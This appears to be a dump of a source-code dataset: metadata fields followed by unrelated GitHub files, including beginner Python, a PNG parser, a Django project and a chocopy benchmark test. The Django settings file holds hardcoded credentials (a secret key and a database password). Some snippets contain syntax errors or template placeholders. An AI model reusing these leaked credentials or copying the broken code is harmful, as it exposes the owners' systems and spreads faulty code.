blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
281
content_id
stringlengths
40
40
detected_licenses
listlengths
0
57
license_type
stringclasses
2 values
repo_name
stringlengths
6
116
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
313 values
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
18.2k
668M
star_events_count
int64
0
102k
fork_events_count
int64
0
38.2k
gha_license_id
stringclasses
17 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
107 values
src_encoding
stringclasses
20 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
4
6.02M
extension
stringclasses
78 values
content
stringlengths
2
6.02M
authors
listlengths
1
1
author
stringlengths
0
175
125f5234c45061d2e7e622ac4eb833f3749d85da
debcd3fb48f30a854b0eeb18f4e80da246cad481
/SnowFlake/odd_or_even.py
bf921f18b56f48dd55b31f291546fb42609688d8
[]
no_license
AriesShilz/Oct21
2e2b5d398554ee57a56ea2355a195e61f78c3d5a
e49757c71c644e9c1eea7628ef08dadce61954a8
refs/heads/main
2023-08-02T17:12:13.535391
2021-10-04T04:50:41
2021-10-04T04:50:41
412,388,649
2
3
null
2021-10-04T04:50:42
2021-10-01T08:30:26
Jupyter Notebook
UTF-8
Python
false
false
119
py
x=1 while x<10: if x%2=0: print(str(x)+"is even") else: print(str(x)+"is odd") x+=1
[ "noreply@github.com" ]
noreply@github.com
7fe6a21c9248ba3e71b94ee29316591e3d30ad2e
213159e266f2be2e0acbbda62b6ded0b8388fe8d
/crypto.py
e6c51515788b6d3e44d88527c5ab837d0dc02781
[]
no_license
KPHarmon/LSBstega
1c285299ef3e3c449c02d1c34c91d0170bd73dbf
f03830bef5cb2ef84e693d203e3f846515096a81
refs/heads/master
2020-08-23T11:46:04.182533
2019-10-21T16:13:49
2019-10-21T16:13:49
216,608,753
0
0
null
null
null
null
UTF-8
Python
false
false
2,185
py
import sys def color_chooser(color_type): switch = { 0: "Greyscale", 2: "Truecolor", 3: "Indexed-Color", 4: "Greyscale with Alpha", 6: "Truecolor with Alpha" } return switch.get(color_type, "Error") def decrypt(): f = open(sys.argv[1], "r+b") print("---------") #24 Bytes is the size of the complete PNG Header print("PNG Signature: ", end="") for i in range(8): print(str(int.from_bytes(f.read(1), 'big')), end =" ") print("\n\nIHDR Header Data:") #Read IDHR chunk f.read(8) width = int.from_bytes(f.read(4), 'big') height = int.from_bytes(f.read(4), 'big') bit_depth = int.from_bytes(f.read(1), 'big') image_type = color_chooser(int.from_bytes(f.read(1), 'big')) compression_method = int.from_bytes(f.read(1), 'big') print("\tWidth: " + str(width)) print("\tHeight: " + str(height)) print("\tBits Per Sample: " + str(bit_depth)) print("\tImage Type: " + image_type) print("\tCompression Method: " + str(compression_method)) #Search and Read Ancillary Chunks temp_array = [0]*3 data = "" print("\nAncillary Chunks") #Search through file while True: data = "" #Read bytes 1 by 1 temp_array.append(int.from_bytes(f.read(1), 'big')) #Check for special byte values check = temp_array[-4:] if check == [116,69,88,116]: data_size = temp_array[-5] #Read in data byte by byte (ignoring Null byte) for i in range(data_size): temp = f.read(1) if temp == b'\x00': temp = b'\x2a' data += str(temp) #strip garbage data = data.replace("b'", "") data = data.replace("'", "") data = data.replace("*", ": ") print("\t" + data) #Check for IEND if check == [73,69,78,68]: break f.close() print("---------") def main(): if len(sys.argv) != 2: print("Encryption: crypto.py [file.png]") return decrypt() main()
[ "kade_harmon@yahoo.com" ]
kade_harmon@yahoo.com
ed7aeccf50b61c1ede46b34c971ecbf6fac49f40
90baf1f6abb0dcba147f46105347a7d81f0ed617
/472-concatenated-words/472-concatenated-words.py
1541cd05cdd590100ef56d987a207bccb9cf9176
[]
no_license
vinija/LeetCode
c2bfbd78711b2ebedcfd4f834d12fde56a15b460
de2727f1cc52ce08a06d63cff77b6ef6bb9d2528
refs/heads/master
2022-09-29T06:16:44.465457
2022-08-21T05:20:45
2022-08-21T05:20:45
97,401,204
116
32
null
null
null
null
UTF-8
Python
false
false
830
py
# ORIGINAL POST WITH EXPLANATION: https://leetcode.com/problems/concatenated-words/discuss/871866/Easyway-Explanation-every-step class Solution(object): def findAllConcatenatedWordsInADict(self, words): """ :type words: List[str] :rtype: List[str] """ d = set(words) def dfs(word): for i in range(1, len(word)): prefix = word[:i] suffix = word[i:] if prefix in d and suffix in d: return True if prefix in d and dfs(suffix): return True return False res = [] for word in words: if dfs(word): res.append(word) return res
[ "vinija@gmail.com" ]
vinija@gmail.com
5451a3d2e1f3548f0e76f2dc4d1a6638008781c0
082add6c8ff428be8b016f2c08b37ea786db1551
/envs/lib/python3.7/functools.py
7892fc59981228b779754342294ab2ac47201716
[]
no_license
fbicknel/GTRI-exercise
6faadebf1ded38935c730f1399ca18ce0395a1c4
5b856a121bb2eab030456d07f5f121d343177952
refs/heads/master
2022-10-21T00:14:17.572728
2019-10-02T22:49:24
2019-10-02T22:49:24
212,347,130
0
1
null
2022-10-13T02:17:45
2019-10-02T13:20:32
Python
UTF-8
Python
false
false
63
py
/home/fbicknel/.pyenv/versions/3.7.4/lib/python3.7/functools.py
[ "fbicknel@gmail.com" ]
fbicknel@gmail.com
7acc38b3caa0e787ec3f2b673294c823df7c2109
3077eef3b8978e629be6b994699dc158eda545ec
/var.py
d73eefd481d3a7d89a15891f975d92902f4b41df
[]
no_license
Frederic-z/byte-of-python
a8309df825f254a9a8398f7cf74ee524a114db7a
4c183031b3b4097e163d774eec60ccba5f20924c
refs/heads/master
2021-01-18T15:40:57.339632
2017-08-15T13:58:52
2017-08-15T13:58:52
100,384,009
0
0
null
null
null
null
UTF-8
Python
false
false
108
py
i = 5 print(i) i = i + 1 print(i) s = '''This is a multi-line string. This is the second line''' print(s)
[ "frederic.z@foxmail.com" ]
frederic.z@foxmail.com
f170105dd4df1fcc7753415af3c4715d042cf732
9c38f3a354844f5080632005630d249d6487ebb3
/python_compiler/lexer/submitted/test.512.py
ba4d1189a78cf314b7ee04b45c551fcd673df06e
[]
no_license
keithroe/keithscode
ee7247ad6bdd844279f29a56718992cb886f9215
470c6b833b9b8bc2c78d1b43aac896b0ce9c9a7c
refs/heads/master
2021-01-10T08:48:12.729594
2018-10-16T17:48:31
2018-10-16T17:48:31
51,531,627
0
0
null
null
null
null
UTF-8
Python
false
false
12
py
r = 5 \ + 4
[ "keithroe@cba41313-dcc7-113d-0d3d-2a2d30939b49" ]
keithroe@cba41313-dcc7-113d-0d3d-2a2d30939b49
14ea55e8ef9c12f094fa7f7d26c4e07885255abd
5f458983f978c71aa34e622d3967e55daf848277
/day35.py
5c000697d9bff8c38f4e84b80676dde9fb6b1b65
[]
no_license
ahhhlexli/daily_challenge
3362e137e6d46a759e60ed1a4de5c822d24e9813
e5d1db8fe6b275dd45b50b64ef8a833a19683eb7
refs/heads/main
2023-03-25T12:03:55.241050
2021-03-19T01:27:38
2021-03-19T01:27:38
328,871,943
0
0
null
null
null
null
UTF-8
Python
false
false
1,509
py
"""The factorial of a positive number n is the product of all numbers from 1 to n. 5! = 5 x 4 x 3 x 2 x 1 = 120 The semifactorial (also known as the double factorial) of a positive number n is the product of all numbers from 1 to n that have the same parity (i.e. odd or even) as n. 12!! = 12 x 10 x 8 x 6 x 4 x 2 = 46,080 7!! = 7 x 5 x 3 x 1 = 105 The alternating factorial of a positive number n is the sum of the consecutive factorials from n to 1, where every other factorial is multiplied by -1. Alternating factorial of 1: af(1) = 1! Alternating factorial of 2: af(2) = 2! + (-1)x(1!) = 2! - 1! = 2 -1 = 1 Alternating factorial of 3: af(3) = 3! - 2! + 1! = 6 - 2 + 1 = 2 Create a function that takes a number n and returns the difference between the alternating factorial and semifactorial of n. Examples alt_semi(1) ➞ 0 alt_semi(2) ➞ -1 alt_semi(3)➞ 2 """ import math def semi_fact(num): factorial = 1 while num >= 2: factorial *= num num -= 2 return factorial def alt_fact(num): factorial = 0 status = 'pos' while num >= 1: if status == 'pos': factorial += math.factorial(num) status = 'neg' elif status == 'neg': factorial -= math.factorial(num) status = 'pos' num -= 1 return factorial def alt_semi(num): semi = semi_fact(num) alt = alt_fact(num) return alt - semi # print(semi_fact(12)) print(alt_semi(1)) print(alt_semi(2)) print(alt_semi(3))
[ "alexli0605@gmail.com" ]
alexli0605@gmail.com
e87f15a62f68b04bffa0a5bbd111cb7e202c4c05
79a72730070595cebd761033f870606d57416b7e
/bookingApp/bookingApp/urls.py
0a7e03fc83d90fd5dcc5f1bd8ec344507701fc75
[]
no_license
baitul-hossain/BookingApp_Django_RestFramework_Python_backend
46abe69f585de0f06ed7b7d2ac9ed0bae6774633
a99dc249c00e9e761357d72a8b040fe324179972
refs/heads/master
2023-07-10T23:35:18.069836
2021-08-18T02:22:58
2021-08-18T02:22:58
397,447,339
0
0
null
null
null
null
UTF-8
Python
false
false
175
py
from django.contrib import admin from django.urls import path, include urlpatterns = [ path('admin/', admin.site.urls), path('flights/', include('flights.urls')), ]
[ "baitul.hossain@gmail.com" ]
baitul.hossain@gmail.com
e1d045a598337ddfd11adc7bdd696bec1c8d0126
266357a9359f75f1fe971f3bcea2127eb7c52821
/Python/Basic_Data_Types/List_Comp.py
6d9e42ede4c9f0113f6bb5b0d3ad8da7d641d5c7
[]
no_license
tp00012x/Hacker-Rank
8e82b0beeec18bb9e6b8f8e4ab3caaf41897f82c
81bd6e12f38a8a1316a0fc139a388bcf096b2c7b
refs/heads/master
2021-01-23T08:34:29.630590
2017-09-07T06:18:06
2017-09-07T06:18:06
102,536,867
0
0
null
null
null
null
UTF-8
Python
false
false
645
py
# Let's learn about list comprehensions! You are given three integers and representing the dimensions of a cuboid along with an integer . You have to print a list of all possible coordinates given by on a 3D grid where the sum of is not equal to . Here, # # Input Format # # Four integers and each on four separate lines, respectively. # # Constraints # # Print the list in lexicographic increasing order. if __name__ == '__main__': x = int(input()) y = int(input()) z = int(input()) n = int(input()) print([ [ i, j, k] for i in range( x + 1) for j in range( y + 1) for k in range( z + 1) if ( ( i + j + k ) != n )])
[ "anthon_torres01@yahoo.com" ]
anthon_torres01@yahoo.com
d3d4d1d1e0ab7341611ae150bdd3b9c69b60e1c9
dfc905db7abc3f4c25830cf5e97ca57437026f99
/src/settings.py
90d1f1079d1c8d97f09b0dd650de504cc2e671e4
[]
no_license
ejconlon/Wecolage_Django
ec27c5a529dc5659d21d68a404390da2de77de8c
72881c80f69fb7620240b1f7b78762c7c4f1ecb0
refs/heads/master
2016-09-06T17:17:46.267312
2009-09-23T03:34:15
2009-09-23T03:34:15
314,526
1
0
null
null
null
null
UTF-8
Python
false
false
3,336
py
# Django settings for wecolage project. DEBUG = True TEMPLATE_DEBUG = DEBUG ADMINS = ( ('Digitol', 'digitol@fuelsyourcyb.org'), ) MANAGERS = ADMINS DATABASE_ENGINE = 'mysql' # 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'. DATABASE_NAME = 'wecolage' # Or path to database file if using sqlite3. DATABASE_USER = 'wecolage' # Not used with sqlite3. DATABASE_PASSWORD = 'wuffle10' # Not used with sqlite3. DATABASE_HOST = 'mysql.wecolage.org' # Set to empty string for localhost. Not used with sqlite3. DATABASE_PORT = '' # Set to empty string for default. Not used with sqlite3. # Local time zone for this installation. Choices can be found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not all choices may be available on all operating systems. # If running in a Windows environment this must be set to the same as your # system time zone. TIME_ZONE = 'America/New_York' # Language code for this installation. All choices can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' SITE_ID = 1 # If you set this to False, Django will make some optimizations so as not # to load the internationalization machinery. USE_I18N = True # Absolute path to the directory that holds media. # Example: "/home/media/media.lawrence.com/" MEDIA_ROOT = '/home/digitol/media.wecolage.org/' # URL that handles the media served from MEDIA_ROOT. Make sure to use a # trailing slash if there is a path component (optional in other cases). # Examples: "http://media.lawrence.com", "http://example.com/media/" MEDIA_URL = 'http://media.wecolage.org' # URL prefix for admin media -- CSS, JavaScript and images. Make sure to use a # trailing slash. # Examples: "http://foo.com/media/", "/media/". ADMIN_MEDIA_PREFIX = 'http://media.wecolage.org/admin_media/' # Make this unique, and don't share it with anybody. SECRET_KEY = 'j699o-yx($b9r+=84)_5$a3ibe+ws+8qi9e@$19d2o-6f07jt6' # List of callables that know how to import templates from various sources. TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.load_template_source', 'django.template.loaders.app_directories.load_template_source', # 'django.template.loaders.eggs.load_template_source', ) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django_openidconsumer.middleware.OpenIDMiddleware', ) ROOT_URLCONF = 'wecolage.urls' TEMPLATE_DIRS = ( # Put strings here, like "/home/html/django_templates" or "C:/www/django/templates". # Always use forward slashes, even on Windows. # Don't forget to use absolute paths, not relative paths. '/home/digitol/django/django_templates/wecolage' ) INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.admin', 'django.contrib.admindocs', 'django_openidconsumer', 'openid_auth', 'wecolage' ) AUTHENTICATION_BACKENDS = ( #'django.contrib.auth.backends.ModelBackend', 'wecolage.auth_backends.CustomUserModelBackend', 'openid_auth.models.OpenIDBackend', ) CUSTOM_USER_MODEL = 'wecolage.UserData'
[ "ejconlon@gmail.com" ]
ejconlon@gmail.com
2b9969f9cbad868bd8cd4bc7c711c09cef294113
dab552bc88bd46a56c7fb0de6851256aadb04d69
/petsapi/views/pet_view.py
342df003e2e08b28ec8030457430d4e63b4450e1
[]
no_license
jakefroeb/Pets
eab469195b96064683d9c87f25a547987894256c
f1c9d224fb7c70fd37f8064a7ce617f1caaedae9
refs/heads/main
2023-06-03T13:41:26.148143
2021-06-18T14:23:31
2021-06-18T14:23:31
375,076,145
0
0
null
2021-06-18T14:23:32
2021-06-08T16:29:21
Python
UTF-8
Python
false
false
3,644
py
from django.http import HttpResponseServerError from rest_framework.viewsets import ViewSet from rest_framework.response import Response from rest_framework import serializers from petsapi.models import Pet, Animal_Type, Action, Pet_Action from django.contrib.auth.models import User from rest_framework import status from rest_framework.decorators import action class PetView(ViewSet): def create(self, request): user=request.auth.user pet = Pet() animal_type = Animal_Type.objects.get(pk=request.data['animal']) pet.name = request.data["name"] pet.user = user pet.animal_type = animal_type try: pet.save() serializer = PetSerializer(many=False, context={'request':request}) return Response(serializer.data) except Exception as ex: return Response({"reason": ex.message}, status=status.HTTP_400_BAD_REQUEST) def retrieve(self, request, pk=None): try: pet = Pet.objects.get(pk=pk) serializer = PetSerializer(pet, context={'request': request}) return Response(serializer.data) except Exception as ex: return HttpResponseServerError(ex) def destroy(self, request, pk=None): try: pet = Pet.objects.get(pk=pk) pet.delete() return Response({}, status=status.HTTP_204_NO_CONTENT) except Pet.DoesNotExist as ex: return Response({'message': ex.args[0]}, status=status.HTTP_404_NOT_FOUND) except Exception as ex: return Response({'message': ex.args[0]}, status=status.HTTP_500_INTERNAL_SERVER_ERROR) def list(self, request): user = request.auth.user pets = Pet.objects.filter(user=user) for pet in pets: print(pet.happiness) serializer = PetSerializer( pets, many=True, context={'request': request}) return Response(serializer.data) @action(methods=['get', 'post'], detail=True) def interact(self, request, pk=None): if request.method == "POST": try: user = request.auth.user pet_action = Pet_Action() pet = Pet.objects.get(pk=pk, user=user) action = Action.objects.get(pk=request.data["action"]) pet_action.pet = pet pet_action.action = action pet_action.save() return Response({}, status=status.HTTP_201_CREATED) except Pet.DoesNotExist as ex: return Response({'Pet could not be found': ex.args[0]}, status=status.HTTP_404_NOT_FOUND) except Action.DoesNotExist as ex: return Response({'Action could not be found': ex.args[0]}, status=status.HTTP_404_NOT_FOUND) except Exception as ex: return Response({'message': ex.args[0]}, status=status.HTTP_500_INTERNAL_SERVER_ERROR) class UserSerializer(serializers.ModelSerializer): class Meta: model = User fields = ('first_name', 'last_name') class ActionSerializer(serializers.ModelSerializer): class Meta: model = Action fields = ('name','id') class AnimalTypeSerializer(serializers.ModelSerializer): actions = ActionSerializer(many=True) class Meta: model = Animal_Type fields = ('name','id', 'actions') class PetSerializer(serializers.ModelSerializer): user = UserSerializer(many=False) animal_type = AnimalTypeSerializer(many=False) class Meta: model = Pet fields = ('id', 'name','user','animal_type','happiness', 'image_url')
[ "jake.herman.froeb@gmail.com" ]
jake.herman.froeb@gmail.com
69806b8d8fe453fbeb384832b144f4ec15cdfa20
bda18692e050b57c04b1af8b0e6edb9b33965839
/search.py
27a02d3dc4c62412f810a28d0a4b77c7c332e38c
[]
no_license
Scalesrzn/zakupkipy
b8310eb5a59172212b2fb969375598e34111addb
10ea98765f85451fcda75b8f981abb750551b7ac
refs/heads/master
2022-07-24T11:11:35.715086
2019-12-17T22:35:52
2019-12-17T22:35:52
228,691,810
0
0
null
2022-07-06T20:25:32
2019-12-17T19:59:17
Python
UTF-8
Python
false
false
747
py
def search(word, dateFrom, pageNumber=1): url = create_url(word, dateFrom, pageNumber) logging.info('Отправка URL \n {}'.format(url)) response = get_page(url) logging.info("Ожидание {} секунд.....\n".format(DELAY)) return response #задаем параметры метаданных def get_page(search_url): headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) ' 'AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/39.0.2171.95 Safari/537.36'} response = requests.get(url=search_url, headers=headers) response.encoding = 'UTF-8' #кодировка с поддержкой кириллицы return response
[ "Scalesrzn@gmail.com" ]
Scalesrzn@gmail.com
03601582b1db35040ea66cabe91d48392cc05d5c
c68de124ac2e8bba22989d34f661f1aa02e99000
/pages/tests.py
a950caefe26749550b408e83efa1601bbe8e74f2
[]
no_license
EKKOING/COM214-PA4
2f451e65eeca6f750b7899c7771430d1fb4f1ed2
7f87a1b3af322a9657d6aea1bb1bb8fd53fc72b3
refs/heads/main
2023-04-05T00:49:29.213561
2021-04-15T04:19:07
2021-04-15T04:19:07
358,109,360
0
0
null
null
null
null
UTF-8
Python
false
false
987
py
from django.test import SimpleTestCase # Create your tests here. class SimpleTests(SimpleTestCase): def test_home_page_status_code(self): response = self.client.get('/') self.assertEqual(response.status_code, 200) def test_about_page_status_code(self): response = self.client.get('/about/') self.assertEqual(response.status_code, 200) def test_portfolio_page_status_code(self): response = self.client.get('/portfolio/') self.assertEqual(response.status_code, 200) def test_contact_page_status_code(self): response = self.client.get('/contact/') self.assertEqual(response.status_code, 200) def test_socials_page_status_code(self): response = self.client.get('/socials/') self.assertEqual(response.status_code, 200) def test_bootstrapless_page_status_code(self): response = self.client.get('/socials/bootstrapless/') self.assertEqual(response.status_code, 200)
[ "nicholas.lorentzen@gmail.com" ]
nicholas.lorentzen@gmail.com
c25c43c7ea26e60b8d87bc63d830ae720fc624b1
5098d15b30d77d48df2618950bb4dc312be215c8
/imbibe.py
86af47a32ddf0a09b29b39c7621cd20790cff784
[]
no_license
etdub/imbibe
bca65f0af814e270b900daaa6994e670799ebd7b
c1ab251a12790e3663211ba6a3178b84a5f40cfc
refs/heads/master
2021-01-01T19:51:56.170732
2013-10-04T18:54:49
2013-10-04T18:54:49
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,218
py
import collections import logging import ujson import zmq logger = logging.getLogger(__name__) class Imbibe(object): def __init__(self, servers): if not isinstance(servers, list): self.servers = [servers] else: self.servers = servers self.context = zmq.Context() self.sub_socket = self.context.socket(zmq.SUB) for server in servers: logger.info("Connect to {0}".format(server)) self.sub_socket.connect('tcp://{0}'.format(server)) self.sub_socket.setsockopt(zmq.SUBSCRIBE, '') self.poller = zmq.Poller() self.poller.register(self.sub_socket, zmq.POLLIN) self.counters = collections.defaultdict(dict) def imbibe(self): """ Yield metrics """ self.running = True while self.running: socks = dict(self.poller.poll(1000)) if self.sub_socket in socks and socks[self.sub_socket] == zmq.POLLIN: metrics = ujson.loads(self.sub_socket.recv()) for m in metrics: yield self.__process_metric(m) def stop(self): self.running = False def __process_metric(self, metric): hostname, app_name, metric_name, metric_type, value, metric_time = metric value = float(value) metric_time = float(metric_time) ret_val = value if metric_type == 'COUNTER': # Calculate a rate full_name = '{0}/{1}'.format(app_name, metric_name) if full_name in self.counters[hostname]: last_val, last_ts = self.counters[hostname][full_name] if value > last_val: ret_val = (value - last_val) / (metric_time - last_ts) else: ret_val = None else: ret_val = None self.counters[hostname][full_name] = (value, metric_time) return (hostname, app_name, metric_name, ret_val, metric_time) if __name__=='__main__': i = Imbibe(['127.0.0.1:5002']) try: for m in i.imbibe(): print m except Exception, e: print "Exception... stop imbibing - {0}".format(e) i.stop()
[ "eric.wong.t@gmail.com" ]
eric.wong.t@gmail.com
09350b78ae65b299217cbd7c1567d5543b66ea37
37a119f116431ef91f1257370a5cd4a992b018db
/tests/sql/test_expressions.py
123319ebd94792d6d470655ae8be31eb2e22416f
[ "ISC" ]
permissive
uranusjr/sqlian
660e66d4c5c01b1112961f4097e95143c15cf72a
8f029e91af032e23ebb95cb599aa7267ebe75e05
refs/heads/master
2021-01-19T18:59:19.349318
2017-09-12T13:12:10
2017-09-12T13:12:10
101,176,270
0
0
null
null
null
null
UTF-8
Python
false
false
903
py
from sqlian import Sql from sqlian.standard import expressions as e def test_identifier(engine): sql = e.Identifier('foo') assert sql.__sql__(engine) == Sql('"foo"'), sql def test_identifier_qualified(engine): sql = e.Identifier('foo', 'bar') assert sql.__sql__(engine) == Sql('"foo"."bar"'), sql def test_is_null(engine): sql = e.Equal(e.Identifier('foo'), None) assert sql.__sql__(engine) == Sql('"foo" IS NULL'), sql def test_is_not_null(engine): sql = e.NotEqual(e.Identifier('foo'), None) assert sql.__sql__(engine) == Sql('"foo" IS NOT NULL'), sql def test_equal(engine): sql = e.Equal(e.Identifier('foo', 'bar'), 42) assert sql.__sql__(engine) == Sql('"foo"."bar" = 42'), sql def test_not_equal(engine): sql = e.NotEqual(e.Identifier('person', 'name'), 'Mosky') assert sql.__sql__(engine) == Sql('"person"."name" != ' + "'Mosky'"), sql
[ "uranusjr@gmail.com" ]
uranusjr@gmail.com
2f7960616db1ab796dee9b3605d8f1f0adfad3e6
95dc688ccc8966112841a416fa98787c7804785f
/python/stock_market/scripts/programs/sandpile_tests.py
a385f74bd33b22cdfc39e6ea9490dd72c38977fd
[]
no_license
rursino/sandpile-financialmodel
b75125a245fd6d47605c633802ce308615cc11e0
c7aa9dc0e5674f5ea59b4cd89c7528c14f85169c
refs/heads/master
2023-03-05T23:39:17.573166
2020-06-26T06:43:18
2020-06-26T06:43:18
341,372,939
0
0
null
null
null
null
UTF-8
Python
false
false
2,826
py
""" Execution of stock market sandpile. """ """ IMPORTS """ import numpy as np import pandas as pd import pickle import matplotlib.pyplot as plt import sys sys.path.append("./core/") import sandpile import analysis from importlib import reload reload(sandpile) reload(analysis) """ INPUTS """ length = 10 width = 10 threshold = 100 duration = 5000 """ FUNCTIONS """ def output_results(crashes, largest_crash): with open('./../output/sandpile/crash_stats.txt', 'w') as f: f.write("SANDPILE OUTPUT\n" + "=" * 25 + "\n" * 2) kwargs = [crashes, largest_crash] #'crashes' object f.write("Magnitude of every crash:\n") for crash in kwargs[0]: f.write(f"{crash:.2f}%" + "\n") f.write("\n") #'largest_crash' object f.write("Largest crash\n" + "-" * 15 + "\n") largest_crash = kwargs[1] f.write(f"Start of crash: {largest_crash[0][0]}\n") f.write(f"End of crash: {largest_crash[0][1]}\n") f.write(f"Drop: {largest_crash[1]:.2f}%\n") def output_plot(data): # Save timeseries plot without peaks data.view_timeseries(peaks=False) plt.title("Sandpile 'Volume' Timeseries", fontsize=28) plt.xlabel("Time", fontsize=16) plt.ylabel("Volume", fontsize=16) plt.savefig("./../output/sandpile/timeseries.png") plt.close() print("Timeseries plot saved.") # Save timeseries plot with peaks data.view_timeseries(peaks=True) plt.title("Sandpile 'Volume' Timeseries", fontsize=28) plt.xlabel("Time", fontsize=16) plt.ylabel("Volume", fontsize=16) plt.legend(["Volume", "Troughs", "Peaks"]) plt.savefig("./../output/sandpile/timeseries_withpeaks.png") plt.close() print("Timeseries plot with peaks saved.") def main(): market = sandpile.StockMarket(length, width, threshold) market.run_simulation(duration) fname = f"./../output/sandpile/{length}_{width}_{duration}.pik" market.save_simulation(fname) market_data = pickle.load(open(fname, "rb")) volume_history = market_data["Volume History"] start_time = "2020-01-01" end_time = np.datetime64(start_time) + np.timedelta64(len(volume_history)) time_range = np.arange(start_time, end_time, dtype='datetime64[D]') x = pd.Series(np.array(volume_history), index=time_range) data = analysis.CrashAnalysis(x) crash_size = 1 # per cent. data.crash_detection(crash_size) crashes = [ data.crash_stats(i).lost_units for i, _ in enumerate(data.crash_history) ] largest_crash = ( data.crash_history[np.argmax(crashes)], np.max(crashes) ) output_results(crashes, largest_crash) output_plot(data) """ EXECUTION """ if __name__ == "__main__": main()
[ "rossursino@hotmail.com" ]
rossursino@hotmail.com
78c66fa3d602e882473ac0516c6d9ae32b854cde
fc1794d84b2dae0724d945b98870db3d29278d17
/first/application.py
53168a0348d36d5ba8d0e73817fec6000b9e5af4
[]
no_license
Arya365-code/lecture2
6856faccebc57f967bd716811f5cfdb3b408b11b
ba8d87372dcc854780493ef83197ea84e61013ec
refs/heads/master
2022-05-28T21:29:19.769844
2020-05-02T02:35:54
2020-05-02T02:35:54
259,858,430
0
0
null
null
null
null
UTF-8
Python
false
false
199
py
from flask import Flask app = Flask(__name__) @app.route("/") def index(): return "Hello, world!" #So if you go to the default route which just ends in a / #the page will show "Hello, world!".
[ "noreply@github.com" ]
noreply@github.com
98a9f68c969ed0299834aeafe3f5422274954ce7
8a3401fcc24fb398e7cac0f8a67e132ed5b3fa8f
/src/pycrunchbase/resource/news.py
67242ca520fe227c4dc5b1285fa4919f577e6495
[ "MIT" ]
permissive
ngzhian/pycrunchbase
58cf96ed20b5b3f4861bb884bcf0d9ffcf4df808
ead7c93a51907141d687da02864a3803d1876499
refs/heads/master
2023-07-08T06:18:59.314695
2023-07-03T13:27:06
2023-07-03T13:27:06
30,629,033
69
45
MIT
2020-12-02T02:26:40
2015-02-11T03:39:14
Python
UTF-8
Python
false
false
734
py
import six from .node import Node from .utils import parse_date @six.python_2_unicode_compatible class News(Node): """Represents a News on CrunchBase""" KNOWN_PROPERTIES = [ "title", "author", "posted_on", "url", "created_at", "updated_at", ] def _coerce_values(self): for attr in ['posted_on']: if getattr(self, attr, None): setattr(self, attr, parse_date(getattr(self, attr))) def __str__(self): return u'{title} by {author} on {posted_on}'.format( title=self.title, author=self.author, posted_on=self.posted_on, ) def __repr__(self): return self.__str__()
[ "ngzhian@gmail.com" ]
ngzhian@gmail.com
a41968ea4e718a0aaf54c461d566c04e95cd5ef3
7d36392c034211d40dec29bca71cf9edeb65a5cd
/akirachix/models.py
2d1d03e6c4697e5cbe7dda59c26deb5ad996bcfe
[]
no_license
susanawiti/api-classes
21170e171bce5cf94d6966aa7055471918f7d265
b323933ddabe02b2b1fa1d93652aeb3491e64d1a
refs/heads/master
2021-07-08T00:18:56.399810
2017-10-03T09:05:56
2017-10-03T09:05:56
105,632,416
0
0
null
null
null
null
UTF-8
Python
false
false
464
py
from __future__ import unicode_literals from django.db import models import datetime # Create your models here. class Post(models.Model): userId = models.IntegerField(default=1) title = models.CharField(default="Default Title", max_length = 190) body = models.TextField(default='Body of post goes here') # registration_date = models.DateField(default=datetime.date.today()) # graduation_date = models.DateField(default = datetime.date.today)
[ "susanawiti95@gmail.com" ]
susanawiti95@gmail.com
b1c6ea574c79b9969846989153c8237e1508baf1
c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c
/cases/synthetic/tree-big-622.py
e0c3373dd20ce956070551e9031ef9fac32135c3
[]
no_license
Virtlink/ccbench-chocopy
c3f7f6af6349aff6503196f727ef89f210a1eac8
c7efae43bf32696ee2b2ee781bdfe4f7730dec3f
refs/heads/main
2023-04-07T15:07:12.464038
2022-02-03T15:42:39
2022-02-03T15:42:39
451,969,776
0
0
null
null
null
null
UTF-8
Python
false
false
23,286
py
# Binary-search trees class TreeNode(object): value:int = 0 left:"TreeNode" = None right:"TreeNode" = None def insert(self:"TreeNode", x:int) -> bool: if x < self.value: if self.left is None: self.left = makeNode(x) return True else: return self.left.insert(x) elif x > self.value: if self.right is None: self.right = makeNode(x) return True else: return self.right.insert(x) return False def contains(self:"TreeNode", x:int) -> bool: if x < self.value: if self.left is None: return False else: return self.left.contains(x) elif x > self.value: if self.right is None: return False else: return self.right.contains(x) else: return True class TreeNode2(object): value:int = 0 value2:int = 0 left:"TreeNode2" = None left2:"TreeNode2" = None right:"TreeNode2" = None right2:"TreeNode2" = None def insert(self:"TreeNode2", x:int) -> bool: if x < self.value: if self.left is None: self.left = makeNode2(x, x) return True else: return self.left.insert(x) elif x > self.value: if self.right is None: self.right = makeNode2(x, x) return True else: return self.right.insert(x) return False def insert2(self:"TreeNode2", x:int, x2:int) -> bool: if x < self.value: if self.left is None: self.left = makeNode2(x, x) return True else: return self.left.insert(x) elif x > self.value: if $Member is None: self.right = makeNode2(x, x) return True else: return self.right.insert(x) return False def contains(self:"TreeNode2", x:int) -> bool: if x < self.value: if self.left is None: return False else: return self.left.contains(x) elif x > self.value: if self.right is None: return False else: return self.right.contains(x) else: return True def contains2(self:"TreeNode2", x:int, x2:int) -> bool: if x < self.value: if self.left is None: return False else: return self.left.contains(x) elif x > self.value: if self.right is None: return False else: return self.right.contains(x) else: return True class TreeNode3(object): value:int = 0 value2:int = 0 value3:int = 0 left:"TreeNode3" = None left2:"TreeNode3" = None left3:"TreeNode3" = None right:"TreeNode3" = None right2:"TreeNode3" = None right3:"TreeNode3" = None 